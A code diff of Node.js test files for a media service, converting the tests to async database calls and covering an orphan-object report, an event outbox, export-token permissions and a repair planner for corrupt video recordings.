- const gone = rep.objects.find(o => o.key.includes('9999'));
- assert.ok(/deleted 2026-09-20/.test(gone.reason), gone.reason);
- assert.strictEqual(rep.objects.find(o => o.key.includes('-501-')).match.id, dupId);
- assert.strictEqual(rep.objects.find(o => o.key.includes('-503-')).match.id, onlyId);
- assert.strictEqual(rep.objects.find(o => o.key.includes('-506-')).match.id, keyedId);
- assert.deepStrictEqual([rep.totals.objects, rep.by_recommendation.keep_only_copy.objects, rep.by_recommendation.keep_only_copy.bytes], [7, 2, 3700]);
- assert.strictEqual(rep.read_only, true);
- assert.strictEqual(s3log.filter(([m]) => m !== 'GET' && m !== 'HEAD').length, writesBefore, 'the report never writes to the bucket');
- assert.strictEqual(B.size, [...B.keys()].length);
- const out = path.join(tmp, 'orphans.json');
- const r = await runCli('vods-orphans-report.js', ['--out', out]);
- assert.strictEqual(r.status, 0, r.stderr);
- assert.ok(/7 object\(s\)/.test(r.stdout) && /Nothing was deleted/.test(r.stdout), r.stdout);
- assert.strictEqual(JSON.parse(fs.readFileSync(out, 'utf8')).totals.objects, 7);
- assert.ok(B.has('vods-orphans/vod-live-501-1726900000001.mp4'), 'every orphan is still there');
- console.log('✅ vods-orphans report: each object matched and recommended (only copy, duplicate, row gone, …), nothing deleted');
- }
+ const writesBefore = s3log.filter(([m]) => m !== 'GET' && m !== 'HEAD').length;
+ const rep = await orphans.buildReport({ provider: 'b2' });
+ const rec = Object.fromEntries(rep.objects.map(o => [path.basename(o.key), o.recommendation]));
+ assert.deepStrictEqual(rec, {
+ 'notes.txt': 'review_unknown',
+ 'vod-live-501-1726900000001.mp4': 'delete_duplicate',
+ 'vod-live-502-1726900000002.mp4': 'review_size_differs',
+ 'vod-live-503-1726900000003.mp4': 'keep_only_copy',
+ 'vod-live-504-1726900000004.mp4': 'keep_until_offloaded',
+ 'vod-live-506-1726900000006.mp4': 'keep_only_copy',
+ 'vod-live-9999-1726900000005.mp4': 'delete_row_gone',
+ });
+ const gone = rep.objects.find(o => o.key.includes('9999'));
+ assert.ok(/deleted 2026-09-20/.test(gone.reason), gone.reason);
+ assert.strictEqual(rep.objects.find(o => o.key.includes('-501-')).match.id, dupId);
+ assert.strictEqual(rep.objects.find(o => o.key.includes('-503-')).match.id, onlyId);
+ assert.strictEqual(rep.objects.find(o => o.key.includes('-506-')).match.id, keyedId);
+ assert.deepStrictEqual([rep.totals.objects, rep.by_recommendation.keep_only_copy.objects, rep.by_recommendation.keep_only_copy.bytes], [7, 2, 3700]);
+ assert.strictEqual(rep.read_only, true);
+ assert.strictEqual(s3log.filter(([m]) => m !== 'GET' && m !== 'HEAD').length, writesBefore, 'the report never writes to the bucket');
+ assert.strictEqual(B.size, [...B.keys()].length);
+ const out = path.join(tmp, 'orphans.json');
+ const r = await runCli('vods-orphans-report.js', ['--out', out]);
+ assert.strictEqual(r.status, 0, r.stderr);
+ assert.ok(/7 object\(s\)/.test(r.stdout) && /Nothing was deleted/.test(r.stdout), r.stdout);
+ assert.strictEqual(JSON.parse(fs.readFileSync(out, 'utf8')).totals.objects, 7);
+ assert.ok(B.has('vods-orphans/vod-live-501-1726900000001.mp4'), 'every orphan is still there');
+ console.log('✅ vods-orphans report: each object matched and recommended (only copy, duplicate, row gone, …), nothing deleted');
+ }
- db.close();
- s3.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('\n✅ All duration reconcile and orphan report tests passed');
- process.exit(0);
+ await db.close();
+ s3.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('\n✅ All duration reconcile and orphan report tests passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -8,77 +8,79 @@ const os = require('os');
@@ -8,77 +8,79 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-events-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.FILES_PATH = dir('files');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.PASTES_PATH = dir('pastes');
-process.env.OBJECTS_PATH = dir('objects');
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-events-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.FILES_PATH = dir('files');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.OBJECTS_PATH = dir('objects');
-const published = [];
-const stub = http.createServer((req, res) => {
- let body = '';
- req.on('data', (c) => { body += c; });
- req.on('end', () => {
- res.setHeader('Content-Type', 'application/json');
- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
- if (req.url === '/api/v1/events') {
- const parsed = JSON.parse(body);
- const list = parsed.events || [parsed];
- const results = list.map((e) => { published.push(e); return { event_id: e.event_id, seq: published.length, duplicate: false }; });
- return res.end(JSON.stringify(parsed.events ? { results } : results[0]));
- }
- res.statusCode = 404; res.end('{}');
+ const published = [];
+ const stub = http.createServer((req, res) => {
+ let body = '';
+ req.on('data', (c) => { body += c; });
+ req.on('end', () => {
+ res.setHeader('Content-Type', 'application/json');
+ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
+ if (req.url === '/api/v1/events') {
+ const parsed = JSON.parse(body);
+ const list = parsed.events || [parsed];
+ const results = list.map((e) => { published.push(e); return { event_id: e.event_id, seq: published.length, duplicate: false }; });
+ return res.end(JSON.stringify(parsed.events ? { results } : results[0]));
+ }
+ res.statusCode = 404; res.end('{}');
+ });
});
});
-});
-(async () => {
- await new Promise((r) => stub.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${stub.address().port}`;
- const db = require('../server/db/database');
- db.getDb();
- const events = require('../server/events');
- const { sendWebhook, announce } = require('../server/webhooks');
- const inTx = (fn) => db.getDb().transaction(fn)();
+ (async () => {
+ await new Promise((r) => stub.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${stub.address().port}`;
+ const db = require('../server/db/database');
+ db.getDb();
+ const events = require('../server/events');
+ const { sendWebhook, announce } = require('../server/webhooks');
+ const inTx = async (fn) => await db.getDb().tx(fn);
- assert.strictEqual(events.init({ eventsUrl: '', clientSecret: '' }), null, 'off without EVENTS_URL');
- assert.strictEqual(inTx(() => events.record('vod.ready', 'live', { id: 1 })), null);
+ assert.strictEqual(events.init({ eventsUrl: '', clientSecret: '' }), null, 'off without EVENTS_URL');
+ assert.strictEqual(await inTx(async () => await events.record('vod.ready', 'live', { id: 1 })), null);
- const outbox = events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 50 });
- assert.ok(outbox);
+ const outbox = events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 50 });
+ assert.ok(outbox);
- // An app with no webhook URL still gets the durable event.
- announce('no-such-app', 'vod.ready', { payload: { id: 42, title: 'Stream', meta: { big: 'x'.repeat(100000) }, ai_overview: 'long text' } });
- announce('no-such-app', 'clip.failed', { payload: { id: 7, status: 'failed' } });
- assert.strictEqual(announce('no-such-app', 'unknown.event', { payload: { id: 1 } }).eventId, null, 'no durable twin');
- // A bare webhook queues nothing (the event is written inside the state change's transaction).
- await sendWebhook('no-such-app', 'vod.ready', { id: 43 });
- await outbox.flush();
- assert.strictEqual(published.length, 2);
- assert.strictEqual(published[0].event_type, 'media.vod.ready');
- assert.deepStrictEqual(published[0].subject, { type: 'vod', id: '42' });
- assert.strictEqual(published[0].source, 'media');
- assert.strictEqual(published[0].visibility, 'internal');
- assert.strictEqual(published[0].payload.app_id, 'no-such-app');
- assert.ok(!('meta' in published[0].payload) && !('ai_overview' in published[0].payload), 'free text stays behind the API');
- assert.strictEqual(published[0].priority, 'important', 'lifecycle outcomes are important (§6.3)');
- assert.strictEqual(published[1].event_type, 'media.clip.failed');
- assert.strictEqual(published[1].priority, 'important');
+ // An app with no webhook URL still gets the durable event.
+ await announce('no-such-app', 'vod.ready', { payload: { id: 42, title: 'Stream', meta: { big: 'x'.repeat(100000) }, ai_overview: 'long text' } });
+ await announce('no-such-app', 'clip.failed', { payload: { id: 7, status: 'failed' } });
+ assert.strictEqual((await announce('no-such-app', 'unknown.event', { payload: { id: 1 } })).eventId, null, 'no durable twin');
+ // A bare webhook queues nothing (the event is written inside the state change's transaction).
+ await sendWebhook('no-such-app', 'vod.ready', { id: 43 });
+ await outbox.flush();
+ assert.strictEqual(published.length, 2);
+ assert.strictEqual(published[0].event_type, 'media.vod.ready');
+ assert.deepStrictEqual(published[0].subject, { type: 'vod', id: '42' });
+ assert.strictEqual(published[0].source, 'media');
+ assert.strictEqual(published[0].visibility, 'internal');
+ assert.strictEqual(published[0].payload.app_id, 'no-such-app');
+ assert.ok(!('meta' in published[0].payload) && !('ai_overview' in published[0].payload), 'free text stays behind the API');
+ assert.strictEqual(published[0].priority, 'important', 'lifecycle outcomes are important (§6.3)');
+ assert.strictEqual(published[1].event_type, 'media.clip.failed');
+ assert.strictEqual(published[1].priority, 'important');
- // Storage alerts: queued once by the storage module, never per app by sendWebhook.
- await sendWebhook('no-such-app', 'storage.alert', { kind: 'disk' });
- await outbox.flush();
- assert.strictEqual(published.length, 2);
- inTx(() => events.record('storage.alert', null, { kind: 'disk', free_gb: 3 }));
- await outbox.flush();
- assert.strictEqual(published.length, 3);
- assert.deepStrictEqual(published[2].subject, { type: 'storage', id: 'disk' });
+ // Storage alerts: queued once by the storage module, never per app by sendWebhook.
+ await sendWebhook('no-such-app', 'storage.alert', { kind: 'disk' });
+ await outbox.flush();
+ assert.strictEqual(published.length, 2);
+ await inTx(async () => await events.record('storage.alert', null, { kind: 'disk', free_gb: 3 }));
+ await outbox.flush();
+ assert.strictEqual(published.length, 3);
+ assert.deepStrictEqual(published[2].subject, { type: 'storage', id: 'disk' });
- assert.strictEqual(events.status().enabled, true);
- events._reset();
- stub.close();
- console.log('✅ media events: outbox, relay, storage alerts once, off by default');
+ assert.strictEqual((await events.status()).enabled, true);
+ events._reset();
+ stub.close();
+ console.log('✅ media events: outbox, relay, storage alerts once, off by default');
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -12,116 +12,118 @@ const path = require('path');
@@ -12,116 +12,118 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-export-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.FILES_PATH = dir('files');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.OV_NETWORK_URL = 'https://openvibe.network';
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
-process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-export-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.FILES_PATH = dir('files');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.OV_NETWORK_URL = 'https://openvibe.network';
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
+ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
-const express = require('express');
-const { serviceAuth, ids } = require('openvibe-contracts');
-const db = require('../server/db/database');
-const auth = require('../server/auth');
+ const express = require('express');
+ const { serviceAuth, ids } = require('openvibe-contracts');
+ const db = require('../server/db/database');
+ const auth = require('../server/auth');
-const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
-auth._setNetworkPublicKeyForTests(keys.publicKey);
-const P = `prj_${ids.ulid()}`;
-const OTHER = `prj_${ids.ulid()}`;
+ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
+ auth._setNetworkPublicKeyForTests(keys.publicKey);
+ const P = `prj_${ids.ulid()}`;
+ const OTHER = `prj_${ids.ulid()}`;
-/** A token shaped exactly as Network's mintExportToken shapes it. */
-function exportToken(env, { project = P, cap = ['media.object.list', 'media.object.read'] } = {}) {
- const now = Math.floor(Date.now() / 1000);
- return serviceAuth.signServiceToken({
- iss: 'https://openvibe.network', sub: `app:app_${project.replace(/^prj_/, '')}`, actor_type: 'app', aud: ['openvibe.media'], cap,
- ns: [project, `app.${project}.*`], project_id: project, env, on_behalf_of: ids.newId('user'), purpose: 'export',
- iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,
- }, keys.privateKey);
-}
+ /** A token shaped exactly as Network's mintExportToken shapes it. */
+ function exportToken(env, { project = P, cap = ['media.object.list', 'media.object.read'] } = {}) {
+ const now = Math.floor(Date.now() / 1000);
+ return serviceAuth.signServiceToken({
+ iss: 'https://openvibe.network', sub: `app:app_${project.replace(/^prj_/, '')}`, actor_type: 'app', aud: ['openvibe.media'], cap,
+ ns: [project, `app.${project}.*`], project_id: project, env, on_behalf_of: ids.newId('user'), purpose: 'export',
+ iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,
+ }, keys.privateKey);
+ }
-db.getDb();
-const prod = db.ensureProjectTenant(P, 'production', 1e9);
-const sbx = db.ensureProjectTenant(P, 'sandbox', 1e8);
-const otherTenant = db.ensureProjectTenant(OTHER, 'production', 1e9);
-const put = (tenant, ns, visibility, status = 'ready') => {
- const id = `med_${ids.ulid()}`;
- db.run("INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, size_bytes, visibility, mime_type) VALUES (?, ?, ?, 'file', ?, 5, ?, 'text/plain')", [id, tenant.app_id, ns, status, visibility]);
- return id;
-};
-const O = {
- pub: put(prod, `app.${P}`, 'public'),
- priv: put(prod, `app.${P}`, 'private'),
- deleted: put(prod, `app.${P}`, 'private', 'deleted'),
- sandbox: put(sbx, `app.${P}.sandbox`, 'public'),
- other: put(otherTenant, `app.${OTHER}`, 'public'),
-};
+ db.getDb();
+ const prod = await db.ensureProjectTenant(P, 'production', 1e9);
+ const sbx = await db.ensureProjectTenant(P, 'sandbox', 1e8);
+ const otherTenant = await db.ensureProjectTenant(OTHER, 'production', 1e9);
+ const put = async (tenant, ns, visibility, status = 'ready') => {
+ const id = `med_${ids.ulid()}`;
+ await db.run("INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, size_bytes, visibility, mime_type) VALUES (?, ?, ?, 'file', ?, 5, ?, 'text/plain')", [id, tenant.app_id, ns, status, visibility]);
+ return id;
+ };
+ const O = {
+ pub: await put(prod, `app.${P}`, 'public'),
+ priv: await put(prod, `app.${P}`, 'private'),
+ deleted: await put(prod, `app.${P}`, 'private', 'deleted'),
+ sandbox: await put(sbx, `app.${P}.sandbox`, 'public'),
+ other: await put(otherTenant, `app.${OTHER}`, 'public'),
+ };
-const app = express();
-app.use(express.json());
-app.use('/api/v2/:app/objects', require('../server/objects/routes'));
-app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));
-const server = http.createServer(app);
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v2/:app/objects', require('../server/objects/routes'));
+ app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));
+ const server = http.createServer(app);
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const call = async (method, p, token, body) => {
- const r = await fetch(base + p, { method, headers: { authorization: `Bearer ${token}`, ...(body ? { 'content-type': 'application/json' } : {}) }, body: body ? JSON.stringify(body) : undefined, redirect: 'manual' });
- const text = await r.text();
- let json = null;
- try { json = JSON.parse(text); } catch { json = null; }
- return { status: r.status, body: json, text };
- };
- const tp = exportToken('production');
- const ts = exportToken('sandbox');
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const call = async (method, p, token, body) => {
+ const r = await fetch(base + p, { method, headers: { authorization: `Bearer ${token}`, ...(body ? { 'content-type': 'application/json' } : {}) }, body: body ? JSON.stringify(body) : undefined, redirect: 'manual' });
+ const text = await r.text();
+ let json = null;
+ try { json = JSON.parse(text); } catch { json = null; }
+ return { status: r.status, body: json, text };
+ };
+ const tp = exportToken('production');
+ const ts = exportToken('sandbox');
- // Lists: the token's environment picks the tenant; deleted objects when asked; nothing of another project.
- let r = await call('GET', `/api/v2/${P}/objects?limit=200&include_deleted=1`, tp);
- assert.strictEqual(r.status, 200, r.text);
- assert.deepStrictEqual(r.body.objects.map((o) => o.id).sort(), [O.pub, O.priv, O.deleted].sort());
- assert.strictEqual(r.body.objects.find((o) => o.id === O.pub).public_url, `https://media.test/o/${O.pub}`);
- r = await call('GET', `/api/v2/${P}/objects?limit=200`, ts);
- assert.strictEqual(r.status, 200, r.text);
- assert.deepStrictEqual(r.body.objects.map((o) => o.id), [O.sandbox], 'the sandbox token sees the sandbox tenant only');
- assert.strictEqual(r.body.objects[0].public_url, null, 'sandbox objects are never public');
- r = await call('GET', `/api/v2/${P}/namespaces`, tp);
- assert.strictEqual(r.status, 200, r.text);
- assert.deepStrictEqual(r.body.namespaces.map((n) => n.namespace), [`app.${P}`]);
- console.log('✅ an export token lists the project\'s objects and namespaces, per environment');
+ // Lists: the token's environment picks the tenant; deleted objects when asked; nothing of another project.
+ let r = await call('GET', `/api/v2/${P}/objects?limit=200&include_deleted=1`, tp);
+ assert.strictEqual(r.status, 200, r.text);
+ assert.deepStrictEqual(r.body.objects.map((o) => o.id).sort(), [O.pub, O.priv, O.deleted].sort());
+ assert.strictEqual(r.body.objects.find((o) => o.id === O.pub).public_url, `https://media.test/o/${O.pub}`);
+ r = await call('GET', `/api/v2/${P}/objects?limit=200`, ts);
+ assert.strictEqual(r.status, 200, r.text);
+ assert.deepStrictEqual(r.body.objects.map((o) => o.id), [O.sandbox], 'the sandbox token sees the sandbox tenant only');
+ assert.strictEqual(r.body.objects[0].public_url, null, 'sandbox objects are never public');
+ r = await call('GET', `/api/v2/${P}/namespaces`, tp);
+ assert.strictEqual(r.status, 200, r.text);
+ assert.deepStrictEqual(r.body.namespaces.map((n) => n.namespace), [`app.${P}`]);
+ console.log('✅ an export token lists the project\'s objects and namespaces, per environment');
- // Download URLs: signed for private and sandbox objects (up to an hour), refused for deleted ones.
- r = await call('GET', `/api/v2/${P}/objects/${O.priv}/download?format=json&ttl=3600`, tp);
- assert.strictEqual(r.status, 200, r.text);
- assert.strictEqual(r.body.public, false);
- assert.match(r.body.url, new RegExp(`^https://media\\.test/o/${O.priv}\\?exp=\\d+&sig=`));
- assert.ok(Date.parse(r.body.expires_at) - Date.now() > 3500 * 1000);
- r = await call('GET', `/api/v2/${P}/objects/${O.sandbox}/download?format=json&ttl=3600`, ts);
- assert.strictEqual(r.status, 200, r.text);
- assert.strictEqual(r.body.public, false);
- r = await call('GET', `/api/v2/${P}/objects/${O.deleted}/download?format=json`, tp);
- assert.strictEqual(r.status, 410);
- r = await call('GET', `/api/v2/${P}/objects/${O.sandbox}/download?format=json`, tp);
- assert.strictEqual(r.status, 404, 'a production token does not reach the sandbox tenant');
- console.log('✅ download URLs: signed for private and sandbox objects');
+ // Download URLs: signed for private and sandbox objects (up to an hour), refused for deleted ones.
+ r = await call('GET', `/api/v2/${P}/objects/${O.priv}/download?format=json&ttl=3600`, tp);
+ assert.strictEqual(r.status, 200, r.text);
+ assert.strictEqual(r.body.public, false);
+ assert.match(r.body.url, new RegExp(`^https://media\\.test/o/${O.priv}\\?exp=\\d+&sig=`));
+ assert.ok(Date.parse(r.body.expires_at) - Date.now() > 3500 * 1000);
+ r = await call('GET', `/api/v2/${P}/objects/${O.sandbox}/download?format=json&ttl=3600`, ts);
+ assert.strictEqual(r.status, 200, r.text);
+ assert.strictEqual(r.body.public, false);
+ r = await call('GET', `/api/v2/${P}/objects/${O.deleted}/download?format=json`, tp);
+ assert.strictEqual(r.status, 410);
+ r = await call('GET', `/api/v2/${P}/objects/${O.sandbox}/download?format=json`, tp);
+ assert.strictEqual(r.status, 404, 'a production token does not reach the sandbox tenant');
+ console.log('✅ download URLs: signed for private and sandbox objects');
- // Nothing else: no upload, no delete, no other project.
- r = await call('POST', `/api/v2/${P}/objects`, tp, { kind: 'file', size_bytes: 5, mime_type: 'text/plain' });
- assert.strictEqual(r.status, 403, r.text);
- r = await call('DELETE', `/api/v2/${P}/objects/${O.pub}`, tp);
- assert.strictEqual(r.status, 403, r.text);
- r = await call('GET', `/api/v2/${OTHER}/objects`, tp);
- assert.strictEqual(r.status, 403, 'another project\'s tenant');
- r = await call('GET', `/api/v2/${OTHER}/objects/${O.other}/download?format=json`, tp);
- assert.strictEqual(r.status, 403);
- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_objects').n, 5, 'nothing written');
- console.log('✅ an export token writes nothing and reaches no other project');
+ // Nothing else: no upload, no delete, no other project.
+ r = await call('POST', `/api/v2/${P}/objects`, tp, { kind: 'file', size_bytes: 5, mime_type: 'text/plain' });
+ assert.strictEqual(r.status, 403, r.text);
+ r = await call('DELETE', `/api/v2/${P}/objects/${O.pub}`, tp);
+ assert.strictEqual(r.status, 403, r.text);
+ r = await call('GET', `/api/v2/${OTHER}/objects`, tp);
+ assert.strictEqual(r.status, 403, 'another project\'s tenant');
+ r = await call('GET', `/api/v2/${OTHER}/objects/${O.other}/download?format=json`, tp);
+ assert.strictEqual(r.status, 403);
+ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_objects')).n, 5, 'nothing written');
+ console.log('✅ an export token writes nothing and reaches no other project');
- server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('export tokens: all checks passed');
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('export tokens: all checks passed');
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -1,79 +1,82 @@
@@ -1,79 +1,82 @@
'use strict';
'use strict';
// H15 repair (WS-G task 7): the plan for each object with no good copy, and its writes and rollback.
// H15 repair (WS-G task 7): the plan for each object with no good copy, and its writes and rollback.
const assert = require('assert');
const assert = require('assert');
-const Database = require('better-sqlite3');
-const { plan, apply, rollback, judgeProbe } = require('../server/objects/h15-repair');
+(async () => {
+ const { plan, apply, rollback, judgeProbe } = require('../server/objects/h15-repair');
-const good = { duration: 1721.9, streams: ['vp8', 'opus'], errorLines: Array(4700).fill('[null @ 0x1] Application provided invalid, non monotonically increasing dts to muxer in stream 0: 5 >= 5').concat(['[opus @ 0x2] Error parsing Opus packet header.']) };
-const vod = (over = {}) => ({ object_id: 'med_1', kind: 'vod', size_bytes: 13631488, content_hash: null, legacy_ref: 'legacy:live:vod:1277', locations: [{ provider: 'b2', key: 'vods/a.webm', state: 'corrupt', size_bytes: 14609471 }], ...over });
+ const good = { duration: 1721.9, streams: ['vp8', 'opus'], errorLines: Array(4700).fill('[null @ 0x1] Application provided invalid, non monotonically increasing dts to muxer in stream 0: 5 >= 5').concat(['[opus @ 0x2] Error parsing Opus packet header.']) };
+ const vod = (over = {}) => ({ object_id: 'med_1', kind: 'vod', size_bytes: 13631488, content_hash: null, legacy_ref: 'legacy:live:vod:1277', locations: [{ provider: 'b2', key: 'vods/a.webm', state: 'corrupt', size_bytes: 14609471 }], ...over });
-// ── The verdict on a decoded copy ──
-assert.strictEqual(judgeProbe(good).ok, true, 'timestamp warnings of a live recording do not condemn it');
-assert.strictEqual(judgeProbe({ duration: 0.6, streams: ['vp8'], errorLines: [] }).fragment, true);
-assert.strictEqual(judgeProbe({ error: 'Invalid data found' }).ok, false);
-assert.strictEqual(judgeProbe({ duration: 400, streams: ['vp8'], errorLines: Array(9).fill('[vp8 @ 1] Truncated packet') }).ok, false, 'real decode errors do');
-assert.strictEqual(judgeProbe({ duration: 400, streams: [], errorLines: [] }).ok, false);
+ // ── The verdict on a decoded copy ──
+ assert.strictEqual(judgeProbe(good).ok, true, 'timestamp warnings of a live recording do not condemn it');
+ assert.strictEqual(judgeProbe({ duration: 0.6, streams: ['vp8'], errorLines: [] }).fragment, true);
+ assert.strictEqual(judgeProbe({ error: 'Invalid data found' }).ok, false);
+ assert.strictEqual(judgeProbe({ duration: 400, streams: ['vp8'], errorLines: Array(9).fill('[vp8 @ 1] Truncated packet') }).ok, false, 'real decode errors do');
+ assert.strictEqual(judgeProbe({ duration: 400, streams: [], errorLines: [] }).ok, false);
-// ── The plan ──
-assert.strictEqual(plan(vod(), { b2: good }).action, 'rebaseline');
-assert.match(plan(vod(), { b2: good }).reason, /only its size differed/);
-assert.strictEqual(plan(vod(), { b2: { duration: 0.6, streams: ['vp8'], errorLines: [] } }).action, 'failed_recording');
-assert.strictEqual(plan(vod(), { b2: { error: 'moov atom not found' } }).action, 'lost');
-assert.strictEqual(plan(vod({ content_hash: 'abc' }), { b2: good }).action, 'lost', 'a recorded hash that disagrees is real corruption: never rebaselined');
-const shot = { object_id: 'med_2', kind: 'screenshot', size_bytes: 0, content_hash: null, locations: [{ provider: 'local', key: '/data/pastes/screenshots/ai-moment-vod1691-32230.jpg', state: 'missing' }] };
-assert.deepStrictEqual((({ action, source_vod, offset }) => ({ action, source_vod, offset }))(plan(shot)), { action: 'regenerate', source_vod: 1691, offset: 32230 });
-assert.strictEqual(plan({ ...shot, locations: [{ provider: 'local', key: '/x/other.jpg', state: 'missing' }] }).action, 'lost');
+ // ── The plan ──
+ assert.strictEqual(plan(vod(), { b2: good }).action, 'rebaseline');
+ assert.match(plan(vod(), { b2: good }).reason, /only its size differed/);
+ assert.strictEqual(plan(vod(), { b2: { duration: 0.6, streams: ['vp8'], errorLines: [] } }).action, 'failed_recording');
+ assert.strictEqual(plan(vod(), { b2: { error: 'moov atom not found' } }).action, 'lost');
+ assert.strictEqual(plan(vod({ content_hash: 'abc' }), { b2: good }).action, 'lost', 'a recorded hash that disagrees is real corruption: never rebaselined');
+ const shot = { object_id: 'med_2', kind: 'screenshot', size_bytes: 0, content_hash: null, locations: [{ provider: 'local', key: '/data/pastes/screenshots/ai-moment-vod1691-32230.jpg', state: 'missing' }] };
+ assert.deepStrictEqual((({ action, source_vod, offset }) => ({ action, source_vod, offset }))(plan(shot)), { action: 'regenerate', source_vod: 1691, offset: 32230 });
+ assert.strictEqual(plan({ ...shot, locations: [{ provider: 'local', key: '/x/other.jpg', state: 'missing' }] }).action, 'lost');
-// ── Writes, only while the row holds what was read, and their rollback ──
-const h = new Database(':memory:');
-h.exec(`CREATE TABLE media_objects (id TEXT PRIMARY KEY, size_bytes INTEGER, content_hash TEXT, lifecycle_status TEXT, updated_at TEXT);
- CREATE TABLE media_locations (id INTEGER PRIMARY KEY, object_id TEXT, provider TEXT, key TEXT, state TEXT, size_bytes INTEGER, verified_at TEXT, updated_at TEXT);`);
-h.prepare("INSERT INTO media_objects VALUES ('med_1', 13631488, NULL, 'ready', NULL), ('med_3', 262144, NULL, 'ready', NULL), ('med_2', 0, NULL, 'ready', NULL)").run();
-h.prepare("INSERT INTO media_locations (object_id, provider, key, state, size_bytes) VALUES ('med_1', 'b2', 'vods/a.webm', 'corrupt', 14609471), ('med_3', 'b2', 'vods/b.webm', 'corrupt', 218283), ('med_2', 'local', '/x.jpg', 'missing', NULL)").run();
+ // ── Writes, only while the row holds what was read, and their rollback ──
+ // A database of its own with just the two tables the repair touches (PGlite; ov_now() as the migration defines it).
+ const h = require('openvibe-sdk/db').createDb({ pglite: true, service: 'h15-test' });
+ await h.exec(`CREATE FUNCTION ov_now() RETURNS text LANGUAGE sql STABLE AS $$ SELECT to_char(statement_timestamp() AT TIME ZONE 'UTC', 'YYYY-MM-DD HH24:MI:SS') $$;
+ CREATE TABLE media_objects (id text PRIMARY KEY, size_bytes bigint, content_hash text, lifecycle_status text, updated_at text);
+ CREATE TABLE media_locations (id bigint GENERATED BY DEFAULT AS IDENTITY PRIMARY KEY, object_id text, provider text, key text, state text, size_bytes bigint, verified_at text, updated_at text);`);
+ await h.prepare("INSERT INTO media_objects VALUES ('med_1', 13631488, NULL, 'ready', NULL), ('med_3', 262144, NULL, 'ready', NULL), ('med_2', 0, NULL, 'ready', NULL)").run();
+ await h.prepare("INSERT INTO media_locations (object_id, provider, key, state, size_bytes) VALUES ('med_1', 'b2', 'vods/a.webm', 'corrupt', 14609471), ('med_3', 'b2', 'vods/b.webm', 'corrupt', 218283), ('med_2', 'local', '/x.jpg', 'missing', NULL) RETURNING id").run();
